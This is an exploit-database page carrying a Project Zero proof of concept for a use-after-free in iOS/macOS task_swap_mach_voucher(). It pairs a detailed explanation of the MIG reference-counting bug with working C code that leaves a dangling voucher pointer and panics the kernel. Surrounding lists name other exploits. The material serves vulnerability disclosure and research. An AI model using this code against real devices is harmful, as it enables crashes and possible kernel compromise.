Menu

Search for hundreds of thousands of exploits

"iOS/macOS - 'task_swap_mach_voucher()' Use-After-Free"

Author

Exploit author

"Google Security Research"

Platform

Exploit platform

multiple

Release date

Exploit published date

2019-01-25

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
/*
 * voucher_swap-poc.c
 * Brandon Azad
 */
#if 0
iOS/macOS: task_swap_mach_voucher() does not respect MIG semantics leading to use-after-free

The dangers of not obeying MIG semantics have been well documented: see issues 926 (CVE-2016-7612),
954 (CVE-2016-7633), 1417 (CVE-2017-13861, async_wake), 1520 (CVE-2018-4139), 1529 (CVE-2018-4206),
and 1629 (no CVE), as well as CVE-2018-4280 (blanket). However, despite numerous fixes and
mitigations, MIG issues persist and offer incredibly powerful exploit primitives. Part of the
problem is that MIG semantics are complicated and unintuitive and do not align well with the
kernel's abstractions.

Consider the MIG routine task_swap_mach_voucher():

	routine task_swap_mach_voucher(
			task		: task_t;
			new_voucher	: ipc_voucher_t;
		inout	old_voucher	: ipc_voucher_t);

Here's the (placeholder) implementation:

	kern_return_t
	task_swap_mach_voucher(
		task_t			task,
		ipc_voucher_t		new_voucher,
		ipc_voucher_t		*in_out_old_voucher)
	{
		if (TASK_NULL == task)
			return KERN_INVALID_TASK;

		*in_out_old_voucher = new_voucher;
		return KERN_SUCCESS;
	}

The correctness of this implementation depends on exactly how MIG ownership semantics are defined
for each of these parameters.

When dealing with Mach ports and out-of-line memory, ownership follows the traditional rules (the
ones violated by the bugs above):

1. All Mach ports (except the first) passed as input parameters are owned by the service routine if
   and only if the service routine returns success. If the service routine returns failure then MIG
   will deallocate the ports.

2. All out-of-line memory regions passed as input parameters are owned by the service routine if
   and only if the service routine returns success. If the service routine returns failure then MIG
   will deallocate all out-of-line memory.

But this is only part of the picture. There are more rules for other types of objects:

3. All objects with defined MIG translations that are passed as input-only parameters are borrowed
   by the service routine. For reference-counted objects, this means that the service routine is
   not given a reference, and hence a reference must be added if the service routine intends to
   keep the object around.

4. All objects with defined MIG translations that are returned in output parameters must be owned
   by the output parameter. For reference-counted objects, this means that output parameters
   consume a reference on the object.

And most unintuitive of all:

5. All objects with defined MIG translations that are passed as input in input-output parameters
   are owned (not borrowed!) by the service routine. This means that the service routine must
   consume the input object's reference.

Having defined MIG translations means that there is an automatic conversion defined between the
object type and its Mach port representation. A task port is one example of such a type: you can
convert a task port to the underlying task object using convert_port_to_task(), and you can convert
a task to its corresponding port using convert_task_to_port().

Getting back to Mach vouchers, this is the MIG definition of ipc_voucher_t:

	type ipc_voucher_t = mach_port_t
			intran: ipc_voucher_t convert_port_to_voucher(mach_port_t)
			outtran: mach_port_t convert_voucher_to_port(ipc_voucher_t)
			destructor: ipc_voucher_release(ipc_voucher_t)
		        ;

This definition means that MIG will automatically convert the voucher port input parameters to
ipc_voucher_t objects using convert_port_to_voucher(), convert the ipc_voucher_t output parameters
into ports using convert_voucher_to_port(), and discard any extra references using
ipc_voucher_release(). Note that convert_port_to_voucher() produces a voucher reference without
consuming a port reference, while convert_voucher_to_port() consumes a voucher reference and
produces a port reference.

To confirm our understanding of the MIG semantics outlined above, we can look at the function
_Xtask_swap_mach_voucher(), which is generated by MIG during the build process:

	mig_internal novalue _Xtask_swap_mach_voucher
		(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
	{
	...
		kern_return_t RetCode;
		task_t task;
		ipc_voucher_t new_voucher;
		ipc_voucher_t old_voucher;
	...
		task = convert_port_to_task(In0P->Head.msgh_request_port);

		new_voucher = convert_port_to_voucher(In0P->new_voucher.name);

		old_voucher = convert_port_to_voucher(In0P->old_voucher.name);

		RetCode = task_swap_mach_voucher(task, new_voucher, &old_voucher);

		ipc_voucher_release(new_voucher);

		task_deallocate(task);

		if (RetCode != KERN_SUCCESS) {
			MIG_RETURN_ERROR(OutP, RetCode);
		}
	...
		if (IP_VALID((ipc_port_t)In0P->old_voucher.name))
			ipc_port_release_send((ipc_port_t)In0P->old_voucher.name);

		if (IP_VALID((ipc_port_t)In0P->new_voucher.name))
			ipc_port_release_send((ipc_port_t)In0P->new_voucher.name);
	...
		OutP->old_voucher.name = (mach_port_t)convert_voucher_to_port(old_voucher);

		OutP->Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
		OutP->Head.msgh_size = (mach_msg_size_t)(sizeof(Reply));
		OutP->msgh_body.msgh_descriptor_count = 1;
	}

Tracing where each of the references are going, we can deduce that:

1. The new_voucher parameter is deallocated with ipc_voucher_release() after invoking the service
   routine, so it is not owned by task_swap_mach_voucher(). In other words,
   task_swap_mach_voucher() is not given a reference on new_voucher.

2. The old_voucher parameter has a reference on it before it gets overwritten by
   task_swap_mach_voucher(), which means task_swap_mach_voucher() is being given a reference on the
   input value of old_voucher.

3. The value returned by task_swap_mach_voucher() in old_voucher is passed to
   convert_voucher_to_port(), which consumes a reference on the voucher. Thus,
   task_swap_mach_voucher() is giving _Xtask_swap_mach_voucher() a reference on the output value of
   old_voucher.

Finally, looking back at the implementation of task_swap_mach_voucher(), we can see that none of
these rules are being followed:

	kern_return_t
	task_swap_mach_voucher(
		task_t			task,
		ipc_voucher_t		new_voucher,
		ipc_voucher_t		*in_out_old_voucher)
	{
		if (TASK_NULL == task)
			return KERN_INVALID_TASK;

		*in_out_old_voucher = new_voucher;
		return KERN_SUCCESS;
	}

This results in two separate reference counting issues:

1. By overwriting the value of in_out_old_voucher without first releasing the reference, we are
   leaking a reference on the input value of old_voucher.

2. By assigning the value of new_voucher to in_out_old_voucher without adding a reference, we are
   consuming a reference we don't own, leading to an over-release of new_voucher.

Now, Apple has previously added a mitigation to make reference count leaks on Mach ports
non-exploitable by having the reference count saturate before it overflows. However, this
mitigation is not relevant here because we're leaking a reference on the actual ipc_voucher_t, not
on the voucher port that represents the voucher. And looking at the implementation of
ipc_voucher_reference() and ipc_voucher_release() (as of macOS 10.13.6), it's clear that the
voucher reference count is tracked independently of the port reference count:

	void
	ipc_voucher_reference(ipc_voucher_t voucher)
	{
		iv_refs_t refs;

		if (IPC_VOUCHER_NULL == voucher)
			return;

		refs = iv_reference(voucher);
		assert(1 < refs);
	}

	void
	ipc_voucher_release(ipc_voucher_t voucher)
	{
		if (IPC_VOUCHER_NULL != voucher)
			iv_release(voucher);
	}

	static inline iv_refs_t
	iv_reference(ipc_voucher_t iv)
	{
		iv_refs_t refs;

		refs = hw_atomic_add(&iv->iv_refs, 1);
		return refs;
	}

	static inline void
	iv_release(ipc_voucher_t iv)
	{
		iv_refs_t refs;

		assert(0 < iv->iv_refs);
		refs = hw_atomic_sub(&iv->iv_refs, 1);
		if (0 == refs)
			iv_dealloc(iv, TRUE);
	}

(The assert()s are not live on production builds.)

This vulnerability can be triggered without crossing any privilege/MACF checks, so it should be
reachable within every process and every sandbox.

On iOS 11 and macOS 10.13, both the over-reference and over-release vulnerabilities can be
independently exploited to free an ipc_voucher_t while it is still in use. On these platforms these
are incredibly powerful vulnerabilities, since they also let us receive a send right to a
freed-and-reallocated Mach port back in userspace. For some examples of why this is dangerous, see
Ian's thoughts in issue 941: <https://bugs.chromium.org/p/project-zero/issues/detail?id=941#c3>.

As of iOS 12 and macOS 10.14, the voucher reference count is checked for underflow and overflow,
which does make the over-reference vulnerability non-exploitable. However, the over-release
vulnerability is still fully exploitable, and probably can still be used as a single,
direct-to-kernel bug from any process.

Additionally, while this report is of a single bug, it should indicate a wider problem with the
complexity of obeying MIG semantics. It might be worth reviewing other edge cases of MIG semantics
not covered by previous bugs.

(There's a variant of the over-reference vulnerability in thread_swap_mach_voucher(), but it is no
longer exploitable as of iOS 12.)

This proof-of-concept demonstrates the vulnerability by creating a Mach voucher, saving a reference
to it in the current thread's ith_voucher field via thread_set_mach_voucher(), decreasing the
reference count back to 1 using task_swap_mach_voucher(), and then freeing the voucher by
deallocating the voucher port in userspace. This leaves a dangling pointer to the freed voucher's
memory in ith_voucher, which can subsequently be accessed with a call to thread_get_mach_voucher(),
triggering a panic.

Tested on macOS 10.13.6 (17G4015), macOS 10.14.2, and iOS 12.1 (16B92).
#endif

#include <assert.h>
#include <mach/mach.h>
#include <stdio.h>
#include <unistd.h>

// Stash the host port for create_voucher().
mach_port_t host;

/*
 * create_voucher
 *
 * Description:
 * 	Create a Mach voucher. If id is unique, then this will be a unique voucher (until another
 * 	call to this function with the same id).
 *
 * 	A Mach voucher port for the voucher is returned. The voucher has 1 reference, while the
 * 	voucher port has 2 references and 1 send right.
 */
static mach_port_t
create_voucher(uint64_t id) {
	assert(host != MACH_PORT_NULL);
	mach_port_t voucher = MACH_PORT_NULL;
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wgnu-variable-sized-type-not-at-end"
	struct __attribute__((packed)) {
		mach_voucher_attr_recipe_data_t user_data_recipe;
		uint64_t user_data_content[2];
	} recipes = {};
#pragma clang diagnostic pop
	recipes.user_data_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
	recipes.user_data_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
	recipes.user_data_recipe.content_size = sizeof(recipes.user_data_content);
	recipes.user_data_content[0] = getpid();
	recipes.user_data_content[1] = id;
	kern_return_t kr = host_create_mach_voucher(
			host,
			(mach_voucher_attr_raw_recipe_array_t) &recipes,
			sizeof(recipes),
			&voucher);
	assert(kr == KERN_SUCCESS);
	assert(voucher != MACH_PORT_NULL);
	return voucher;
}

/*
 * voucher_tweak_references
 *
 * Description:
 * 	Use the task_swap_mach_voucher() vulnerabilities to modify the reference counts of 2
 * 	vouchers. 
 *
 */
static void
voucher_tweak_references(mach_port_t release_voucher, mach_port_t reference_voucher) {
	// Call task_swap_mach_voucher() to tweak the reference counts (two bugs in one!).
	mach_port_t inout_voucher = reference_voucher;
	kern_return_t kr = task_swap_mach_voucher(mach_task_self(), release_voucher, &inout_voucher);
	assert(kr == KERN_SUCCESS);
	// At this point we've successfully tweaked the voucher reference counts, but our port
	// reference counts might be messed up because of the voucher port returned in
	// inout_voucher! We need to deallocate it (it's extra anyways, since
	// task_swap_mach_voucher() doesn't swallow the existing send rights).
	if (MACH_PORT_VALID(inout_voucher)) {
		kr = mach_port_deallocate(mach_task_self(), inout_voucher);
		assert(kr == KERN_SUCCESS);
	}
}

/*
 * voucher_reference
 *
 * Description:
 * 	Add a reference to the voucher represented by the voucher port.
 */
static void
voucher_reference(mach_port_t voucher) {
	voucher_tweak_references(MACH_PORT_NULL, voucher);
}

/*
 * voucher_release
 *
 * Description:
 * 	Release a reference on the voucher represented by the voucher port.
 */
static void
voucher_release(mach_port_t voucher) {
	voucher_tweak_references(voucher, MACH_PORT_NULL);
}

/*
 * thread_stash_freed_voucher
 *
 * Description:
 * 	Stash a pointer to a freed voucher object in the current thread's ith_voucher field. This
 * 	voucher can be accessed later with thread_get_mach_voucher().
 */
static void
thread_stash_freed_voucher(mach_port_t thread_self) {
	// Create a unique voucher. This voucher will have 1 voucher reference, 2 port references,
	// and 1 port send right.
	mach_port_t voucher = create_voucher(0);
	// Stash a copy of the voucher in our thread. This will bump the voucher references to 2.
	kern_return_t kr = thread_set_mach_voucher(thread_self, voucher);
	assert(kr == KERN_SUCCESS);
	// Now drop the voucher reference count to 1. The port reference count is still 2.
	voucher_release(voucher);
	// Next deallocate our send right to the voucher port. This drops the port send right
	// count to 0 (although the port reference count is still 1), causing a no-senders
	// notification to be triggered. The no-senders notification calls ipc_voucher_notify(),
	// which releases the final voucher reference. In the process of freeing the voucher,
	// ipc_port_dealloc_kernel() is called on the port, so the port is also freed.
	kr = mach_port_deallocate(mach_task_self(), voucher);
	assert(kr == KERN_SUCCESS);
	// This leaves a dangling pointer to the voucher in thread_self->ith_voucher. We can access
	// the freed voucher and voucher port with a call to thread_get_mach_voucher().
}

int
main(int argc, const char *argv[]) {
	host = mach_host_self();
	mach_port_t thread = mach_thread_self();
	// Stash a pointer to a freed ipc_voucher_t in this thread's ith_voucher field.
	thread_stash_freed_voucher(thread);
	// The following call should trigger a panic.
	mach_port_t voucher;
	thread_get_mach_voucher(thread, 0, &voucher);
	return 0;
}
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Expense Management System - 'description' Stored Cross Site Scripting" webapps multiple "Nikhil Kumar"
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Under Construction Page with CPanel 1.0 - SQL injection" webapps multiple "Mayur Parmar"
Release Date Title Type Platform Author
2020-02-10 "iOS/macOS - Out-of-Bounds Timestamp Write in IOAccelCommandQueue2::processSegmentKernelCommand()" dos multiple "Google Security Research"
2020-02-10 "usersctp - Out-of-Bounds Reads in sctp_load_addresses_from_init" dos linux "Google Security Research"
2020-01-28 "macOS/iOS ImageIO - Heap Corruption when Processing Malformed TIFF Image" dos multiple "Google Security Research"
2020-01-14 "WeChat - Memory Corruption in CAudioJBM::InputAudioFrameToJBM" dos android "Google Security Research"
2020-01-14 "Android - ashmem Readonly Bypasses via remap_file_pages() and ASHMEM_UNPIN" dos android "Google Security Research"
2019-12-18 "macOS 10.14.6 (18G87) - Kernel Use-After-Free due to Race Condition in wait_for_namespace_event()" dos macos "Google Security Research"
2019-12-16 "Linux 5.3 - Privilege Escalation via io_uring Offload of sendmsg() onto Kernel Thread with Kernel Creds" local linux "Google Security Research"
2019-12-11 "Adobe Acrobat Reader DC - Heap-Based Memory Corruption due to Malformed TTF Font" dos windows "Google Security Research"
2019-11-22 "macOS 10.14.6 - root->kernel Privilege Escalation via update_dyld_shared_cache" local macos "Google Security Research"
2019-11-22 "Internet Explorer - Use-After-Free in JScript Arguments During toJSON Callback" dos windows "Google Security Research"
2019-11-20 "Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Refcounting in overlayfs/shiftfs Error Path" dos linux "Google Security Research"
2019-11-20 "Ubuntu 19.10 - Refcount Underflow and Type Confusion in shiftfs" dos linux "Google Security Research"
2019-11-20 "iOS 12.4 - Sandbox Escape due to Integer Overflow in mediaserverd" dos ios "Google Security Research"
2019-11-11 "Adobe Acrobat Reader DC for Windows - Use of Uninitialized Pointer due to Malformed OTF Font (CFF Table)" dos windows "Google Security Research"
2019-11-11 "Adobe Acrobat Reader DC for Windows - Use of Uninitialized Pointer due to Malformed JBIG2Globals Stream" dos windows "Google Security Research"
2019-11-11 "iMessage - Decoding NSSharedKeyDictionary can read ObjC Object at Attacker Controlled Address" dos multiple "Google Security Research"
2019-11-05 "WebKit - Universal XSS in JSObject::putInlineSlow and JSValue::putToPrimitive" dos multiple "Google Security Research"
2019-11-05 "macOS XNU - Missing Locking in checkdirs_callback() Enables Race with fchdir_common()" dos macos "Google Security Research"
2019-11-05 "JavaScriptCore - Type Confusion During Bailout when Reconstructing Arguments Objects" dos multiple "Google Security Research"
2019-10-30 "JavaScriptCore - GetterSetter Type Confusion During DFG Compilation" dos multiple "Google Security Research"
2019-10-28 "WebKit - Universal XSS in HTMLFrameElementBase::isURLAllowed" dos multiple "Google Security Research"
2019-10-21 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream (2)" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - NULL Pointer Dereference in nt!MiOffsetToProtos While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in nt!MiRelocateImage While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in CI!CipFixImageType While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in nt!MiParseImageLoadConfig While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - win32k.sys TTF Font Processing Pool Corruption in win32k!ulClearTypeFilter" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in CI!HashKComputeFirstPageHash While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-09 "XNU - Remote Double-Free via Data Race in IPComp Input Path" dos macos "Google Security Research"
2019-10-04 "Android - Binder Driver Use-After-Free" local android "Google Security Research"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.